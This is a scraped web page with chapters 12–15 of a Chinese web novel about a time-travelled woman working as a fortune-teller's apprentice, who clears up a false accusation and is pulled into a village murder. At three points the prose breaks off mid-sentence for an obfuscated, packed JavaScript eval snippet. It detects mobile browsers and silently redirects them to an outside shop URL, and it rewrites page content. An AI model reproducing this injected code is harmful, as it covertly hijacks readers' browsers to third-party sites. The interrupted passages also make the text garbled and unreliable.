“着凉”二字倒是提醒了闻钰,她现在可最好不要生病,花钱不说,就古代这医疗条件,说不定一个小病就能要了她的命,而且这身体也不一定是她自己的,万一原主是个身娇体弱,一淋雨就病倒的那种呢?她还是得多注意一些。 她郑重地向安巧道谢:“多谢巧娘,我去买了伞就回来。” 走出宁安巷,因为下雨,总是热热闹闹摆着摊子的西市街上少了许多小摊小贩,卖雨具的张娘子竟也还没来。 刘婶倒是一如既往地早早就来了,但行人皆是举着伞匆匆路过,往日大排长龙的摊子前这会儿不过站了两三人。 抬头瞧见闻钰,她还有空闲招呼道:“钰娘,今日来得早啊。” 闻钰伸长了脖子,见神道长的摊位空空如也,便对刘婶招了招手:“刘婶,我先去一趟书铺,要是我师父来了替我跟他说一声。” 刘婶爽快应下:“好嘞。” 闻钰撑着伞走到借书的那家书铺,这铺子红火了几日,让邻近的几家老板瞧着都眼红得很,这一大早,又是下雨天,看起来也显得有几分冷清了。 但无人打扰,闻钰一个人也逛得开心,东翻翻,西瞧瞧,发觉即便在古代,小说也就是那么回事儿,和现代的没有什么不同。也就是在题材上守旧些,保守些,脑洞不如现代人那么大而已。 但既然是来学习的,她还是端正态度,认真看了一些。直到瞧见架子上有一本叫做《西行》的书,她好奇地拿了起来。 这个名字,不得不让她想起某著名师徒四人组。 12. 第 12 章 闻钰翻开书,仔细看了几页,发现这故事还真和《西游记》有那么些相似的地方,只不过主角的目的不是去西天取经,说的是四兄弟带着商队一路西行时的见闻,比起小说,闻钰觉得更像游记。 这书瞧着已经不太新了,像是被翻看过许多次的样子,闻钰走到老板跟前,问:“这《西行》爱看的人多吗?” “《西行》啊,那当然多了,全京城只有我们这儿有卖呢,这本还是今天一早才还回来的呢,方才那人没借到续集,垂头丧气地就走了。” 闻钰若有所思点点头,既然都出续集了,那看来确实很受欢迎。 西行和西游记……闻钰灵光一闪,她可以写修仙题材啊! 修仙网文的背景设定本就多是古代,加上什么妖魔神仙的,古代人都是能接受的,但修仙对他们来说又是新玩意了,龙傲天升级流的故事现代人都看得停不下来,肯定也能拿捏住古代人! 闻钰心情好了,哼着小曲儿拿上伞就要离开,瞥见放在另一侧的纸笔,才想起还有这事,问了价格,发现果真比之前问过的那家便宜些,便拿了一只细笔和几张纸。 一下子又要给出去五十文,闻钰肉疼地数着铜板,老板多瞧了两眼她的拉链零钱包,就听闻钰又问:“老板……你这收话本的时候,一般都付给作者多少钱?” “话本?”老板闻言定睛看她片刻,恍然道,“我方才还觉得面熟,原来是前些日子来问过的那个小娘子啊。可上次我也同你说过了,我这——” “你也先别急着拒绝我,”闻钰打断他,指着旁边的纸笔道,“等我写好,你看过再拒绝也不迟。就先告诉我,写一个话本能赚多少钱?” 见这小娘子执拗,老板也只好无奈道:“好吧,除了像《西行》的著者那样有些名气的,我这儿大多付给著者一贯钱,具体也要看话本如何。” “之后卖得好不好都与作者无关么?” “不错。” “别家也都是这个价钱么?” “大差不差吧。” “如果我想要两贯钱呢?或者先五百文卖给你,但后续卖出去多少,都得分我几成。能谈吗?” 老板笑了:“小娘子,有此志向是好事,但切莫好高骛远。” 这就是免谈的意思了。闻钰轻哼一声,放下买纸笔的五十文钱,拿上东西,朝老板道了句:“我还会再来的。” 闻钰高高兴兴撑着伞往回走,她本来是想着若是话本写出来了,就去找原先瞧不起她的那家书铺,但这虽然能证明自己,可不是也帮那老板赚钱了吗,这家致远书屋的老板她就觉得和气许多,要是到时候大赚了,最好还能叫那家老板眼红后悔。 漫步在小雨中,闻钰抱紧了怀里的东西不让雨打湿,心情很是舒畅。 刚走到宁安巷口,看见了雨具摊已经摆上,闻钰快步上前,想要买了伞再顺便将手里的纸笔都放回家里。 却没料到还没到张娘子的雨具摊前,就见不远处的算命摊被不少人围着,人人都举着伞,闻钰瞧不见里面,只能听见刘婶在里头劝说的声音:“……你先歇一歇,哪能躲你呢,她就是还没来呢,早上还让我和她师父说一声要晚点来……等她来了肯定会和你说明白的……” 这听着怎么好像还和她有关呢? 闻钰也没空去买伞了,连忙挤开人群进去,看见被刘婶安慰着坐下的人,愣了一下:“周娘子?” 听见她的声音,众人都回过头来,周娘子噌地一下站起身来,双手叉腰,一副气极了的样子:“就是你给我算的卦,还说什么一定会平平安安地生下孩子,现在我大孙子没了,你得给我一个交代!你若是给不了,那你师父也得给我一个交代!” 站在一旁的神道长脸上满是无奈,显然已经是劝累了,周娘子仍在滔滔不绝,一边哭一边喊,还要往闻钰身上扑。 “我可怜的孙儿哟……原本还觉得神道长算得准,他却非说你这个徒弟算得好,现在看来,指不定就是两个骗子,大家可莫要再被他们骗喽……” 闻钰想起算这第一卦时的场景,心里也慌了起来,难道碰到她手的那一下真的影响了卦象?可是师父明明也跟她说是吉兆呀。 被周娘子拉着撒不开手,她求救地看向神道长,这可怎么办呀,再这样闹下去,怕是他们师徒俩都得改名换姓换个地方重来了,做这一行,最重要的可不就是名声么。 神道长当然也着急,周娘子尖利的声音不断往他耳朵刺着,闭眼沉思半刻,他忽地提高声音道:“周娘子。” 周娘子终于安静下来,缓了缓急促的呼吸,看向神道长:“怎么?你这个做师父的,想好要给我一个交代了?” 神道长没回答这话,只是道:“当日那卦,我与我这徒弟一同算的,确是吉兆无误。” “都到现在了,你还在狡辩!我就说你们俩都是骗子,走,跟我见官去!”说完,周娘子就上前一步去拽他。 神道长后退一步避开:“周娘子莫急,听我把话说完。周娘子可还记得当日算卦的情形?” “当然记得!你这徒弟,用来算命的东西都接不住,落到地上了。” 这话一出,不少人的目光都落到闻钰身上,议论纷纷。 “不错,”神道长继续道,“那一卦,中途虽有磕碰,最后落地卦象却是好的,这不就说明了是转危为安么,现在紧要的,便是看如何度过这个危机。” 这话听起来确实有几分道理,但周娘子已经不太相信面前这二人,反问道:“这又是什么意思?若有这一遭,你算卦时怎么不说?” “周娘子也瞧见了,我与我这徒弟擅长之物并不相同,而我徒弟入门不久,解读卦象时难免漏掉一些,这也是情有可原的嘛。但她的卦还是很准的,现在既然发现了危机,那就得尽快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481195|201748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解决才是,周娘子离家有多久了?” 周娘子不自觉放松了拽着闻钰的手,半信半疑道:“生产的时候我守在旁边的,见情况不好我就立马出来了,到现在……应该有两三炷香的功夫吧。” 回答完了,她又察觉自己被绕了进去,神色严肃道:“你该不是怕见官,又在骗我吧?想骗我先回家,然后你们师徒俩就收拾东西悄悄跑了?” “这当着大家伙的面儿,我骗你做什么?我神道长在此处给人算卦也有五六年了吧,若是骗人,哪里能待到现在?你若不信,我们师徒俩同你回家瞧一瞧,不行你再送我们去见官,如何?若有人愿意去做个见证,也可一同去。” 闻钰闻言不禁皱起眉,她师父这是在做什么?她可不相信他方才说卦象的那些话,估计就是为了先稳住周娘子胡诌的而已,现在却还主动要去周娘子家中,难道他真有什么法子救回死胎? 无论如何,两人都是逃不过走这一趟的了,围观的群众中有人出了声,说愿意一同去。 “好,”想到有人见证,还有自己大侄子看着,左右他们也躲不过见官,周娘子沉着脸,“那就先回家,我看你还有什么话说。” * 周娘子的大侄子赶着牛车,带着见证人——张娘子的夫君柳郎君,五人一齐出了城,顺着官道走了一会儿,左拐进一条泥巴路。 闻钰戳了一下神道长,想问问他到底怎么打算的,但在周娘子虎视眈眈的目光下,他只是摇了摇头,没有说话。 路两旁的农田和房屋逐渐多了起来,又走了一会儿,牛车在一户人家门前停下,篱笆院门敞着,隔老远就听见里头吵吵闹闹的,似还有说笑声。 周娘子皱眉望着院里,也不管车上的人了,率先下了车,快步进屋查看。 车上的三人面面相觑,随后望向周娘子的大侄子。大侄子人高马大,体格也壮,一看就是个干活的好手,但一路上都沉默得很,此时也只看了他们一眼,像看犯人一样站在他们身后,道:“进去吧。” 几人刚进了院子,就听见周娘子“哎呦”一声,随后竟传来了婴儿哭声。 不是说一生下来就是死胎吗? 这下连大侄子都奇怪了,越过前面的三人大步上前,一进屋就瞧见周娘子怀里抱着的孩子正哇哇哭着,哪里是死胎的样子? 几人堵在门口,不大的屋里一下子便暗了许多,一年轻男子看向大侄子,问道:“表哥,这是……?” 周娘子又是“哎哟”一声,换上了谄媚的笑,连忙邀请众人进屋:“神道长,还有这位小道长,柳家郎君,都快进屋坐吧。” 三人茫然坐下,还是大侄子先开了口:“怎么回事?孩子……没事了?” “没事了没事了,”周娘子喜形于色,“张婆子说兴许就是接生的时候孩子呛着了,我们走了之后,多拍一拍就好了,孩子就活过来了!” 13. 第 13 章 那年轻的小郎君叹道:“娘,你们也走得太快了,等孩子好了,我出去想叫你们回来,连个人影都看不见了!” 周娘子怀里的孩子哭得十分伤心,全家人却都高兴笑着。 “我这不是着急嘛……”周娘子忽地心虚起来,将孩子递到张婆子手里,看向闻钰,“小道长的卦是真灵!之前是我错怪你了,这真的是转危为安了!” 闻钰心脏仍旧扑通扑通地跳着,她一路上都还在思考该怎么跑路呢,没想到事情就这么自己解决了,僵硬地挤出一个笑:“没事就好,没事就好。” 坐在她身旁的神道长瞧着倒是气定神闲,脸上挂着笑,抚着胡须道:“如何?我就说我这徒弟天赋极佳吧。” “是是是,神道长说得极是!这小道长简直就是活神仙,那小小的圆片往天上一抛,连这都算得出!” 张婆子一边哄着孩子,一边睁圆了眼睛分心听着,听出来这“小道长”称呼的是这样一个年纪轻轻的小娘子,还连孩子出生之时会有这么一遭磨难都算到了,目光中也有几分惊奇。 闻钰受不了被人这么捧着夸,脸上一阵烧红,心里却狠狠松了口气。 幸好没事了,不然要真被送去见官,可不就要蹲大牢了。她来到古代,好日子还没过上呢,哪能先去坐牢? 众人都好奇那日算卦的情形,周娘子正绘声绘色地说给他们听,闻钰悄悄偏头问神道长:“师父,那些话都是你编的吧?” 神道长微不可见的点了下头,见一旁的柳郎君在往这边看,低声道:“晚点再说。” 孩子的父亲不知什么时候也从里屋出来了,听完周娘子算卦的故事,忽然道:“娘,既然如此,要不请道长为孩子起个名字吧?” 周娘子双手一合,赞同道:“对对对,请小道长为我家这小孙女起个名字吧。” 突然又来了个烫手山芋,闻钰连忙拒绝:“我才疏学浅,取名这样的大事,我看……还是交给我师父吧!” 神道长斜睨她一眼,倒是没说什么,问道:“孩子是什么时辰出生的?” “天刚亮的时候,约是卯初。孩子姓陈,从玉字辈。” 神道长闻言又看了自己小徒弟一眼,也是个玉字的,看来还真与她有缘。 闻钰不知他在想什么,就瞧她师父装模作样地捏着手指算着,最后给出一个平平无奇的“安”字。 “这孩子从出生开始便会经历些磨难,但皆能转危为安,这个‘安’字,再合适不过了。” “玉安,陈玉安……好,多谢道长。”陈郎君向神道长行了一礼,神道长微微颔首。 三人被周娘子强留下来吃了顿午饭,本是来做见证人的柳郎君白跑一趟,但孩子平安就好,他本是热心,也不介意。饭后几人要走,周娘子便又招呼着让大侄子将他们送回城,几人站在院外等大侄子牵牛来,正巧有一行人从门口经过,动静还不小。 背着箩筐的小娘子抿着唇不发一言,目不斜视地往前走,身后却紧跟着两个无赖,为首的那人走路吊儿郎当,嘴里还不干不净地说着调戏的话。 周娘子见了那人,出声提醒:“陈留家的小郎啊,收敛些吧。” 被唤之人扭头瞥她一眼,凉凉扔下一句“多管闲事”,又不甚在意地吹了声口哨,追上那小娘子。 周娘子脾气也不是好的,被不知礼数的小辈这么呛一句,便冷了脸,冷哼一声:“这个不听劝的,过两天栽了跟头就知道了。” 闻钰见状也皱眉,问道:“这陈郎君,常常如此么?” “可不是么?村里哪个小娘子没被他缠上过,总是这幅德行,才快三十了都没人家愿意将女儿嫁去他家呢。也就是我家没有女儿,不然我只怕是也要闹上他家去。”不知想到什么,周娘子又忽地笑了一声,“不过过两日应该就长教训了。” 听她的话,这里头还有故事,闻钰好奇道:“为何?” “那陶阿妹,邪门得很,陈小郎从前又不是没领教过,还不信邪。谁欺负了她啊,没几天就要倒大霉的!” 闻钰回头看了一眼那个埋着头走路的小娘子,上了牛车回城。 来的时候闻钰满脑子都是“怎么办怎么办怎么办”,此刻离开,她才反应过来,这还是她第一次坐牛车。 其实就是一头牛慢吞吞地拉着一个木板车,村里的泥路也不平,走起来晃晃悠悠,没什么厉害的。但四周无遮无挡,虽然知道这牛车在古代人的眼里都见怪不怪了,但每每有人投来目光,她都会生出些莫名的尴尬。 进了城,师徒俩和柳郎君分道而行,闻钰终于找到机会又道:“连转危为安都说得出,师父你太厉害了。” 神道长轻哼一声:“那不然呢,当时被围在那儿,我们师徒俩的饭碗都要被砸了,再不想点法子,真要去见官了。” “那要是孩子没好,师父打算怎么解决?” “本来是想着找个她家有邪祟的借口,说严重些,再假意推辞一下,最后分文不取地给她做场法事驱邪,以保下一胎平安,这样我们也能脱身了,但现在孩子没事,那就更好了。” “所以我们算的卦也没错呀,确实是平平安安生下孩子了。吓死人了真是……那我失误的那一下,今天是不是还救了我们一次?” “是,”神道长好笑地看她一眼,随即却深思起来,“不过,那一下,真的是失误吗?” 闻钰奇怪道:“难不成那一卦还真是转危为安的意思?” 神道长摊开手:“你算的卦,你觉得呢?” “……师父都不知道,我怎么知道。” 神道长摇头,不赞成道:“我和周娘子说的话也不全是假的,我们算卦的方式不一样,我的确不能完全知晓你的卦象。就像我师父,我知道他能读出花草与飞鸟给出的预示,但这不代表,若我和他看到一样的花草,就能算出一样的结果。” 雨早已经停了,二人慢悠悠走到西市,神道长望着来往行人络绎不绝的街道,微微叹了口气:“我能引领你走上这条路,但人的一生何其漫长,师父能陪伴你的也只有短短一程,剩下的,还得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481196|201748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你自己去参悟。” * 先前围观的人不少都留下来瞧热闹了,这会儿见二人好端端地回到算命摊,又围了上来,七嘴八舌地问着。 神道长淡定地回到自己的位置坐下,抬手让众人安静下来,解释道:“已经无事了,周娘子家的孙女好好活着呢,大伙也散了吧。” 众人惊讶:“神道长救活的?” “不是,”神道长笑了一声,“我哪能让人死而复生啊,她自己就好了,今日就是个误会。” 立刻有人想到先前神道长说服周娘子回家瞧瞧的那一番话,惊叹道:“那看来是真的转危为安了,这小道长的卦是真灵呀!” “就是就是!” 话题一下子又转到了闻钰身上,一下便有两三人上前请闻钰帮他们算一卦,闻钰本还想谦虚几句,见这阵仗,发觉这些话传出去对算命摊的生意只有好处没有坏处,便合上嘴,专心给人算起了卦。 光是这下午,算命摊就赚了四十文,其中二十五文是闻钰算命赚到的,剩下十五文则是卖符的钱。 刘婶瞧着这边热闹的景象,笑道:“看来要不了多久,旁边就得再起一个算命摊了。” 神道长坐在刘婶的摊子上,慢悠悠地端了杯茶喝:“可不是么!我这个师父都得让位置给她了。” 又近黄昏,到了收摊的时候,闻钰还记得借墨和砚台的事,今天她赚得多,也不吝啬孝敬一下师父,掏出五文钱:“师父,墨和砚台这些日子可否借我晚上带回去用一用?一早我就给您带回来,绝不会耽误事儿!” 神道长波澜不惊地收下钱:“拿去用吧。” “好嘞,多谢师父!” 闻钰已经摸清了神道长藏东西的地方,他这摊子其实就是个小木桌,像现代学校里用的那种课桌,背后有一个可以放东西的空格,他每日将东西带来往里头一塞,大大的包袱皮像桌布一样整个盖住,还真没人想到底下还藏了东西。 既然雨停了,闻钰便也没买伞了,这大夏天的,想来也不会经常下雨,现在能省她就得省一点儿,免得下个月又得露宿街头。 带着成套的笔墨纸砚回到家中,安巧又开始在给新一户人家浆洗衣物了,听见门打开,她擦了擦额头上的汗,放下捣衣的木杵,笑着同闻钰打招呼:“回来了。” 闻钰放下东西,将伞还给她:“今日出了点事儿耽搁了,没及时带伞回来,没耽误你的事吧?” “不耽误不耽误,发生什么事了?” 虽然安巧知道她在给神道长当徒弟,但闻钰对着她总感觉这个职业莫名羞耻,也就没有多说:“就是一点小误会,都解决了。” “没事就好,”安巧又低头继续捣着衣服,“我这儿快洗完了,你先歇一会儿,我一会儿就去做饭。” 这对话,让闻钰感觉自己好像是什么外出工作回来的丈夫,不过见安巧双手成日泡在水里,皮肤都发皱了,她也心疼,于是撩起袖子主动请缨:“今天我来做饭吧,正好我也想学一学,你就负责在旁边教我。” 14. 第 14 章 闻钰这些日子已经学会了劈柴生火,在安巧的指导下虽然差点烧糊了菜,但最终还是顺利完成了两菜一汤。 碗筷摆上桌,安巧笑得眉眼弯弯,轻轻为她鼓着掌,怀里的小安望懵懵懂懂,也跟着做出了拍手的动作,逗笑了二人。 吃着这顿饭,闻钰在这个时代头一次生出了安心的感觉,也对未来有了期望,不再害怕明天的到来。 * 换上新的蜡烛,点了灯,闻钰沉下心来思考话本的内容。 题材已经定好是修仙爽文,故事的话……闻钰安安静静思考片刻,磨好墨,提笔写下脑中逐渐形成的一个完整故事。 她打算写一对相爱的小情侣,因为男主身份是被反派——一群自诩正道的神仙所忌惮的存在,于是小情侣被迫分手,女主被清除记忆。之后男主重生再来,与女主重逢,两人越来越强,感情也越来越好,但不识相的神仙又出来阻碍他们,一场大战,男女主用实力证明自己,打败了神仙,过上了幸福快乐的生活。 这个故事光看梗概其实很简单,但由于实体书和网文有本质上的区别,又是在古代,所以她也不打算写太复杂太长的故事。失忆+重生+升级流,她觉得已经足够有噱头了,即便故事短一些也没有关系,反而更符合古代话本的字数。 闻钰对这个想法感到很满意,但心里难免还是有些没谱,想了想,她拿出自己的硬币,对着它问:“这个话本能大火吗?” “嗒”一声,硬币稳稳被接住,闻钰紧张地移开上面的那只手—— 花朝上。 “Yes!”闻钰高兴地握拳庆祝,彻底安下心,趁着此刻文思如泉涌,继续完善这个故事的大纲和细节。 动了一晚上脑子,直到躺下闻钰都还觉得大脑十分活跃,这一晚有些失眠,隔天一早差点没起来,还是安巧来叫醒的她。 冷水洗了脸,闻钰清醒过来,哼着小曲儿啃着饼,走出宁安巷,却在瞧见算命摊时整个人都愣住了。 怎么这么多人?又出事了? 她连忙跑过去,正要开口问发生了什么,有人先瞧见她,高兴道:“来了来了,闻小道长来了!” 闻钰茫然看向她师父,神道长似笑非笑地望着她:“闻小道长,这些人可都等着你给算卦呢。” …… 忙碌一早上,闻钰连剩下的半个烧饼也没空吃,总算将这群人送走了。 也不知是周娘子一家还是柳郎君一家的功劳,总之,她这个算命摊神道长弟子是个活神仙的名号,满京城传得沸沸扬扬。 她瘫倒在桌上,掏出已经凉透了的烧饼,一口又一口,她该不是在做梦吧,短短一早上她就赚了一百多文? 可让闻钰更没想到的是,这大排长龙的景象,竟然连着持续了三天。 甚至大家还不愿意只付一半的价钱,说给少了心不安,非要按照她师父的价钱付,听得她抛硬币的手都在颤抖。 神道长被冷落了,却也不放过这个机会,顺便把符咒也涨了价,直接卖十文一个,闻钰闻言,又递过去一个震惊的眼神。 当然,神道长也不亏待她这个徒弟,卖符咒的分成也涨到了两文一枚。 神道长清闲了几日,符咒的钱却也没少赚。但闻钰自认为是个懂事的徒弟,自己赚了大钱,当然也得孝敬师父。三天下来,她到手五百五十文,便孝敬了五十文给神道长。 热闹了几天,该算的都算过了,小老百姓平凡普通的日子里又哪有那么多花钱也要问个明白的事情,红火了几天的算命摊又逐渐平静起来。 这天晌午,闻钰百无聊赖地趴在刘婶儿的摊子前,瞧见一个熟悉的身影走近,定睛一瞧,原是周娘子。 还没来得及和她打个招呼,周娘子便急匆匆的到了她面前:“哎哟,小道长,你是不知道哟,村子里出事了。” 倒也不需闻钰追问,周娘子自顾自地接着道:“我们村里啊,死人了!死得可惨了,血都叫人放干了!” “大家都知道肯定就是那陶阿妹做的,可是报了官,都两天了,还没将那陶阿妹抓走,说什么还不能确定凶手……我们全家心神不宁地愁了两天,我这才想到请小道长去瞧一瞧,若那陶阿妹真是什么妖魔鬼怪的,还请小道长速速收了她!” “陶阿妹?”闻钰想到那个小娘子沉默的背影,不知怎么,不太相信她竟然会杀人,“死的是谁?怎么就说一定是她做的?” “小道长那天也瞧见了的,就是那陈启陈小郎啊!以往欺负陶阿妹的人,不过就是出门摔几个跟头,或是被狗咬、被驴踢罢了,这次多吓人呀,我路过瞥见一眼,腿都软了!” 闻钰听着也有些心惊,这毕竟是命案,周娘子害怕,她也害怕呀。而且经过安巧那一遭,她更加确信世上没有妖怪了,她又不能帮官府破案,去了又有什么用? 周娘子是以为她真有什么神力才会来找她,可是她不能不清楚自己的实力呀,如果真是妖怪,那她就更派不上用场了! 但是若拒绝得太直白,似乎又有损她的威名,这好不容易生意才好了起来,她不想又砸自己的招牌。 闻钰只好故作犹豫姿态,踌躇道:“可毕竟官府正在查案,我去插手不太好吧……” “不打紧不打紧,官府都破不了这案子,还在村里悬赏找线索呢!” “悬赏?”闻钰一下来了精神,“给多少钱?” “这……”周娘子搓了搓手,“我也没注意听,但应该不少吧?我瞧村里不少人都凑到官爷面前去,争着说那天晚上自己瞧见听见了什么呢。” 闻钰挠了挠脸,有些动摇。要不她就去看看? 虽然她不一定能帮上忙,但多她一个也不耽误什么,万一真让她挣到钱了呢? “如何?小道长可能随我回村去瞧瞧?” “周娘子稍等, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481197|201748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我先算一卦。” 为求稳妥,闻钰从袖子里掏出硬币,往上一抛,心里默念着:“此行对我可有好处?” 硬币落至手心,闻钰一瞧是吉兆,脸上立刻便带了笑,向神道长说了一声,便跟着周娘子出城去了。 赶牛车的仍是周娘子的大侄子,这一来二去的,竟都是她第三次坐牛车了。上次的误会解开,大侄子对她的态度也客气了不少,见到她还会唤声“小道长”,叮嘱二人坐稳了,便平平稳稳地驾车上路。 刚到村口,就看见一群人团团围住了什么,牛车走近了,闻钰才从村民们你一言我一语的声讨中听明白,这是在拦着陶阿妹不让她离开呢。 闻钰下了牛车,从缝隙中隐约看见人群中间的陶阿妹,问旁边的村民:“她这是要去哪儿?” 村民扭头看她一眼,虽然见她面生,却也回答道:“说是要去城里卖草药,谁知道是不是要逃跑呢!” 他的话音刚落,附和的人就接连道:“就是!杀了我们村子里的人,就想这么逃跑,哪这么容易……” “……就算官府还没抓你,你也不能走!大家可看住人了,绝不能让她跑了!” “……她刚来的时候我就觉得她奇怪,现在知道了,果真是害人的妖怪!” 疑神疑鬼的村民们认定了陶阿妹就是凶手,是害人的妖怪,但陈启死相凄惨,见过的人都发自心里地害怕陶阿妹,虽然有胆子同旁人一起围住她不让走,却没胆子真对她做什么。 陶阿妹仍旧沉默着,不开口解释,只一个劲儿地想要往前走,可这阻拦的人一多起来,难免有些沉不住气动手动脚的,推攘间,陶阿妹一个踉跄摔倒在地,还被旁边的人踩到了手,低低地痛呼了一声。 闻钰自然不觉得她会是妖怪,官府的人没抓她,肯定是有道理的,见她被人这样为难,很是不忍心,没忍住开口劝道:“大家还是冷静些吧,她也不一定就是凶手,何必如此为难她?” 这话引起了众怒,离她最近的一妇人双手叉腰打量她,道:“你又不是村里人,怎么就知道她不是凶手?说不定就是这妖怪施了什么术法,迷惑了官爷们,这才叫她逃脱了呢!” 这话里话外都是漏洞,面对这一群气势汹汹的村民,闻钰暗暗给自己鼓了鼓劲,咬着牙道:“如果她真是妖怪,那你们现在这样对她,还能有命活?” 这话一出,众人齐齐打了一个冷战,不自觉地后退了一步。 “哎哟,小道长!”周娘子上前几步追上闻钰,语气却有些不高兴了,“我可是请你回来捉妖的,怎么反倒帮上那害人的妖了?” 周娘子家前几日生孩子的事村里没有不知道的,听她唤这小娘子“道长”,便有人质疑道:“五娘啊,这就是你说的那个活神仙?怎么还帮妖怪说话呢!” 周娘子脸上也有些挂不住了,看向闻钰的目光中满是不悦:“小道长可是真心来帮我的?” 15. 第 15 章 即便闻钰是周娘子请来的,众人对她并无敌意,但为陶阿妹说话难免也让她成为了众矢之的。 在这个陌生的时代,与一群愚昧落后却团结的村民敌对,绝对不是什么好事。闻钰在他们虎视眈眈的注视下,下意识便有些退缩,开始后悔自己不该就这么帮陶阿妹出头。 方才村民们散开了些,便露出了站在正中的陶阿妹,她不知什么时候已经站起了身,背着个箩筐,面色平静地望着这边,漆黑的双眸看不出一点情绪。 二人眼神对上,闻钰好像又生出了些勇气,她握紧了拳,脑子飞快转动,回答周娘子:“不分青红皂白就要除妖,也不怕好妖被误伤,之后化作恶鬼缠上你?尤其是你家有刚出生没多久的婴儿,妖怪可最喜欢小孩了。” 周娘子闻言先是震惊地瞪大了眼,随后猛然闭上了嘴,不敢再多说一句话,更不敢去看陶阿妹,生怕她会因为自己请来道士而盯上她家,默默往后退了几步,小声扔下一句“小道长,我先回家去了”,也顾不上闻钰,就催促着大侄子离开了。 大侄子回头看了一眼,沉默地驾着牛车走了。 闻钰这几句瞎编的话吓到的不只是周娘子,村民们也都面面相觑,他们越相信陶阿妹是妖,这话对他们的作用便越大,更何况哪家没几个孩子的?说到底也是陈启自己去招惹来这般祸事,他们又何苦为了那小子给自家招来厄运? 不知是谁率先开口:“要不……还是等官府查清真相吧……” 剩下的人连连附和:“是啊是啊……” 村民们一家接一家地离开,间或忽闪着落在陶阿妹身上的目光都轻飘飘的,就好像什么都没发生过一样。 头顶飘来几片阴云,最后只剩下闻钰和陶阿妹站在原地,闻钰朝她笑笑,摆手道:“你快走吧。” 说完,闻钰转身走进了村子里,陈启家就在离村口不远的地方,身着暗红的官兵守着,很是显眼。 闻钰走近,或许是她太面生,亦或是靠近的姿态显得有些偷偷摸摸,官兵一眼就瞧出她不是村子里的人,冷声道:“无关人等莫要靠近。” 闻钰脚步顿了顿,顶着官兵凉凉的目光匆匆瞥了眼开着的屋门,什么也没瞧见,却也没有停留,继续往村里去了。 出城的路上她听周娘子说了些情况,说杀人的地方是在后山,尸体却是在陈启自己家中发现的,她进不去陈启家,但上山总能有办法吧。 就是这村子三面环山,闻钰转着头打量,陈启去的后山,指的是哪一座? 余光里有个身影在她身后,闻钰扭过头,看见陶阿妹,愣了愣,问:“你不是要去城里吗?” 陶阿妹摇摇头,没有说话。 闻钰很是纳闷,这人刚才明明被一大群人拦着也不管不顾地要走,现在没人拦她了,却又不走了,真是奇怪。但她也没资格说什么,继续往里头走。 只是走了没几步,闻钰又一次转过身,见陶阿妹仍跟在她身后,问道:“你跟着我做什么?” 陶阿妹被误会了也不生气,只是回答:“我家在前面。” “……哦。”闻钰讪讪应了声,转回身继续向前。 这村子在村口时看着不大,实则是大部分都被山体遮住了,走进来才发觉这村子简直没有尽头。拐了两个弯,还是没找到进山的路,闻钰无奈,只好又转过身。 “陶阿妹?” 陶阿妹正开着自家门上的锁,听见闻钰唤她,停下了手上的动作。 面前这毕竟还是嫌疑人呢,自己却还要向她问案发现场的路,闻钰尴尬地清了清嗓子:“陈启去过的那个后山,你知道往哪走吗?” 陶阿妹往前两步,指着屋旁一条小小的泥巴路:“这里。” 这路瞧着太不明显,也并不靠山,闻钰路过时都没发觉,倒回来朝她道了谢,便径直往里去了。 走了一段路,刚拐到山脚下,便瞧见了眼熟的暗红色衣裳,闻钰顿住脚步,没想到官兵连进山的路也守着呢。 上山的路肯定不止一条,闻钰正想着要不要找条别的路,就见有一人从山上下来,守卫们齐齐朝他行礼,虽然几人衣服颜色一样,但瞧着多少是个官。 闻钰想要先避开,那位官爷却也看见了她,朝她招了招手,唤她过去。 闻钰只好硬着头皮上前,估计自己又要被训一顿,却听那人问道:“你是陶阿妹?” 闻钰一怔:“我不是。” 男人闻言也愣住,扭头问守卫:“我不是让你们去寻陶阿妹来吗?” 守卫连忙抬手解释:“头儿,我刚才去了,她家没人在。” 听起来是正巧撞上了陶阿妹出去的时候,闻钰便道:“她刚回来,现在人应该在家。” 男人的目光于是又转到她身上,问:“你和她很熟么?” “不熟,就是碰巧看见了。” 男人缓缓点头,吩咐那名守卫再次去唤陶阿妹,然后上下打量着她,问:“那你想要进山做什么?村子里发生那么大的事,不知道么?案子查明之前,谁都不许进山。” 听这审问的语气,闻钰心道不好,自己怕是被当成嫌犯了,连忙撇清干系道:“我不是村里的人,不知道封山了。” 只是这话似乎越描越黑,男人眯起了眼,又问:“不是村里的人,那来做什么?” “我……”闻钰犹豫片刻,还是选择实话实说,“我是村里人请来捉妖的。” “捉妖?你是道士?”陆旭看着眼前年轻的小娘子,他知道村民们疑神疑鬼,没料到竟还真请了道士来,只是这年纪轻轻的小娘子,怎么就当起道士来了? 